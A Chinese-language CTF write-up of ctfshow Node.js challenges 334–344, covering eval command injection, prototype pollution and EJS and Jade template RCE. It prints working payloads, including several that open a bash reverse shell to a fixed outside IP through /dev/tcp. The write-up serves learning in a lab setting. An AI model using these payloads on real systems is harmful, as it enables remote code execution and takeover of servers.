nodejs-原型污染链

发布于:2025-03-28 ⋅ 阅读:(36) ⋅ 点赞:(0)

还是老规矩,边写边学,先分享两篇文章

深入理解 JavaScript Prototype 污染攻击 | 离别歌

《JavaScript百炼成仙》 全书知识点整理-CSDN博客

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

334-js审计

var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。

var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。

var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
//   name: 用户名
//   password: 密码
// 返回值:
//   如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
//   首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
//   然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
//   最后检查用户的密码是否与提供的密码匹配。

/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。

router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
//   req: 请求对象,包含客户端发送的请求信息。
//   res: 响应对象,用于向客户端发送响应。
//   next: 函数,用于将控制权传递给下一个中间件或路由处理函数。

  res.type('html');
  // 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。

  var flag='flag_here';
  // 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。

  var sess = req.session;
  // 获取请求对象中的会话对象,用于管理用户会话。

  var user = findUser(req.body.username, req.body.password);
  // 调用 findUser 函数,使用请求体中的用户名和密码查找用户。
  // req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。

  if(user){
  // 如果找到用户,执行以下代码块。

    req.session.regenerate(function(err) {
    // 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。
    // 参数:
    //   err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。

      if(err){
      // 如果发生错误,执行以下代码块。

        return res.json({ret_code: 2, ret_msg: '登录失败'});
        // 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。
        // return 用于立即返回响应,阻止后续代码执行。
      }
       
      req.session.loginUser = user.username;
      // 将找到的用户名存储到会话中,表示用户已登录。

      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
      // 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。
    });
  }else{
  // 如果未找到用户,执行以下代码块。

    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
    // 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。
  }  
});
// 结束路由处理函数的定义。

module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。
  items: [
  // 定义一个数组,数组中包含用户对象,用于存储用户信息。
    {username: 'CTFSHOW', password: '123456'}
    // 用户对象,包含用户名和密码属性。
    // username: 'CTFSHOW',表示用户名为 CTFSHOW。
    // password: '123456',表示该用户的密码为 123456。
  ]
};

审计一下代码

   name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow

 所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行) 

335 -js命令执行

 

看源码有点提示。 然后去搜了一些js中eval的用法

eval() - JavaScript | MDN

那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process模块,具体可看下面的文章

child_process 子进程 | Node.js v23 文档

先导入child_process模块,再执行命令查看路径

下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章

 学习一些payload

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

 336-exec被过滤

exec被过滤

 

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

也可以拼接绕过

?eval=require('child_process')['ex'%2B'ecSync']('ls')

还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)

打下面这个payload看到源码 

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

?eval=require('fs').readdirSync('.')

?eval=require('fs').readFileSync('fl001g.txt')

 337-js之语法

var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作

// 定义一个函数,用于计算字符串的md5值
function md5(s) {
  return crypto.createHash('md5') // 创建一个md5加密算法的hash对象
    .update(s) // 将要加密的字符串传入hash对象
    .digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}

/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求
  res.type('html'); // 设置响应的内容类型为html
  var flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥
  var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数
  var b = req.query.b; // 获取请求参数b的值
  // 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag); // 如果满足条件,直接返回flag
  }else{
  	res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'
  }
  
});

module.exports = router; // 将路由对象导出,以便在其他文件中使用

这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

方法一

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3不管咋样结果都是[object Object]flag{xxx}

方法二

打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。

方法三

?a[]=x&b=x。首先要知道[‘a’]+flag= = =‘a’+flag,所以自然md5加密相同

338-原型链污染

这里再把p神的文章看一下,再做题显然更流畅

深入理解 JavaScript Prototype 污染攻击 | 离别歌

 题目给了源码,审计一下源码,,发现两段核心代码


module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

显然这个函数是递归,作用是将 object2 的所有可枚举属性(key)复制到 object1 中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__,就可以原型链污染。

再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断  secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js

/* GET home page.  */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体
  res.type('html'); // 设置响应的内容类型为html
  var flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥
  var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息
  var sess = req.session; // 获取请求的会话对象,用于管理用户会话
  let user = {}; // 定义一个空对象user,用于存储用户信息
  utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中
  // 判断secert对象的ctfshow属性是否等于'36dboy'
  if(secert.ctfshow==='36dboy'){
    res.end(flag); // 如果条件满足,直接返回flag
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息
  }
  
});

module.exports = router; // 将路由对象导出,以便在其他文件中使用

在这段代码中,服务器使用 body-parser 中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)

{"__proto__":{"ctfshow":"36dboy"}}

339 -反弹shell污染

题目给了源码,审计一下,发现三段重要的代码



module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

 这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。

而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。

ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客

 而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行

接下来login的post打反弹shell

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}

然后路由改为api发包,结果是这样就对

flag在login.js里

下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。下面的文章很详细可以仔细看看

nodejs - web339 原型链污染 - 《CTF show》 - 极客文档

{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

非预期

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}

340-二次污染链-反弹shell

这题与上题就这有点不同

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell

flag在环境变量里,打env即可

341.污染链之ejs模板引擎漏洞。

这题删除了api,login.js也修改了

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧

文章 - Ejs模板引擎注入实现RCE - 先知社区

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}

login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。 

342-343.污染链之jade rce

这题看来很多文章还是没看懂,代码功力太弱了,直接打payload

nodejs - web342 原型链污染 - 《CTF show》 - 极客文档

文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区

 依旧login.js中post打这个paylaod(请求头中的“Content-Type”改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。 

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

344

题目页面给了代码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}